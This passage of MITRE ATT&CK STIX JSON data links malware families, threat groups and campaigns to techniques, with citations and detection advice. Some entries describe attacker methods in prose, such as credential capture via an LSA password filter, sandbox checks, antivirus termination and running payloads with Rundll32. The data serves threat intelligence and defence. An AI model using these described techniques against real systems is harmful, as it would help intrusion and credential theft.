","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c8de33a-e4b3-4d3c-b1d9-1dbb00beec01","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor the local image registry to make sure malicious images are not added.","source_ref":"x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c9aa081-0e56-4f57-a54e-6decf6aab819","type":"relationship","created":"2021-11-19T14:13:11.473Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-11-19T14:13:11.473Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8c9b8162-58e3-4e3c-ad07-afd9baf742f5","created":"2022-04-28T16:08:30.058Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed drives or other related events associated with computer hardware and other accessories (especially new or unknown) being connected to systems. Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.","modified":"2022-04-28T16:08:30.058Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f","target_ref":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c9c075a-0c9a-45ef-a4cb-53095c2664a7","type":"relationship","created":"2020-03-12T19:16:32.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"}],"modified":"2020-03-12T19:16:32.528Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has established persistence using a systemd service.(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-20T21:16:08.858Z","description":"[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox cloud storage service for command and control.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ca0a20d-2c12-4b68-a2a9-ebd95c05ee68","type":"relationship","created":"2020-06-22T14:58:06.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.796Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has monitored critical processes to ensure resiliency.(Citation: Trend Micro Skidmap) ","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Emissary Trojan Feb 2016","description":"Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}],"modified":"2021-08-27T14:42:00.593Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command net localgroup administrators.(Citation: Emissary Trojan Feb 2016)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8ca9a16d-d54d-415c-b048-96be71a52966","created":"2022-01-20T14:08:00.055Z","x_mitre_version":"1.0","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted and failed to run Bash commands on a Windows host by passing them to cmd /C.(Citation: CrowdStrike AQUATIC PANDA December 2021)","modified":"2022-04-16T18:46:36.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cae93fc-8ba7-462f-a27d-b9b8c289034e","type":"relationship","created":"2019-06-28T17:40:32.419Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.149Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has an integrated scripting engine to download and execute Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8cb06251-a974-439f-8c36-a3fc65b7d154","created":"2021-10-11T22:54:28.295Z","x_mitre_version":"1.0","external_references":[{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dok](https://attack.mitre.org/software/S0281) gives all users execute permissions for the application using the command chmod +x /Users/Shared/AppStore.app.(Citation: CheckPoint Dok)","modified":"2022-06-02T13:36:09.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8cb06a4f-49fd-4da3-bbb2-1273db12de85","created":"2022-06-15T18:06:59.004Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may delete or alter malicious network configuration settings as well as generated artifacts on a host system, including logs and files such as Default.rdp or /var/log/. ","modified":"2022-08-04T00:26:44.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cb3eda9-3829-4bc0-aa72-704df128d92e","type":"relationship","created":"2020-06-11T19:27:54.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.666Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has incorporated code into several tools that attempts to terminate anti-virus processes.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8cb59548-2e8d-4635-809b-b9ba22c94c31","created":"2019-01-31T02:01:45.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.790Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has captured credentials via fake Outlook Web App (OWA) login pages and has also used a .NET based keylogger.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cb5d843-e5b6-416a-b721-aa6b4c1ae2f3","type":"relationship","created":"2019-01-29T18:55:20.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Remcos Aug 2018","url":"https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html","description":"Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."}],"modified":"2020-03-16T18:29:49.867Z","description":"[Remcos](https://attack.mitre.org/software/S0332) searches for Sandboxie and VMware on the system.(Citation: Talos Remcos Aug 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8cba1710-1963-4d83-99dd-88a1d6b2580f","created":"2023-03-26T18:34:27.821Z","revoked":false,"external_references":[{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T18:34:27.821Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `Rundll32.exe` to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794","type":"relationship","created":"2017-05-31T21:33:27.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","source_name":"Kaspersky ProjectSauron Full Report"}],"modified":"2020-03-25T20:54:32.602Z","description":"[Strider](https://attack.mitre.org/groups/G0041) has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to acquire credentials any time a domain, local user, or administrator logs in or changes a password.(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8cc515c2-01b6-4cd7-a928-1131ffe5f11c","created":"2023-03-26T17:48:27.879Z","revoked":false,"external_references":[{"source_name":"ESET OceanLotus Mar 2019","description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:48:27.879Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has stored its configuration in a registry key.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cce3864-0c29-4c3c-a1cd-733f792b8565","type":"relationship","created":"2021-06-30T14:32:27.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-30T14:41:24.467Z","description":"[Naikon](https://attack.mitre.org/groups/G0019) has used schtasks.exe for lateral movement in compromised networks.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ccf5cfb-df98-44e0-afb7-6e2d6c699944","type":"relationship","created":"2020-02-12T18:57:58.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T18:57:58.597Z","relationship_type":"revoked-by","source_ref":"attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"},{"source_name":"Kaspersky Turla","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","url":"https://securelist.com/the-epic-turla-operation/65545/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T17:58:20.535Z","description":"(Citation: Kaspersky Turla)(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--8ce2219f-6c25-46a2-8215-a78871e2773a","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) can create a shortcut in the Windows startup folder for persistence.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cecace8-2820-4489-b3e8-baf4b9f33ff3","type":"relationship","created":"2019-01-30T17:33:40.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec MuddyWater Dec 2018","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."}],"modified":"2020-03-30T02:33:36.223Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8cfc4444-a2bd-4553-8a26-9018cb561705","created":"2022-09-29T20:01:34.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T16:18:06.825Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has relied on victims opening a malicious Excel file for execution.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8cfcd467-dca8-48ae-a6ba-764043a21bcd","created":"2023-05-23T20:37:55.568Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-23T20:37:55.568Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can identify the default proxy setting on a compromised host.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8cfdd4d6-1696-401a-9455-d3fbf6bc0235","type":"relationship","created":"2021-11-22T15:05:08.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2021-11-22T15:05:08.742Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has used ListPlanting to inject code into a trusted process.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d07ed87-6692-4010-8c94-c12cbf3885ca","type":"relationship","created":"2021-07-27T14:27:32.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:27:32.017Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has collected files from various information repositories.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8d0b1911-1443-4821-b2a3-c0c21306083c","created":"2024-09-06T22:19:27.622Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:19:27.622Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used PowerShell commands to gather information from compromised systems, such as email servers.(Citation: CISA GRU29155 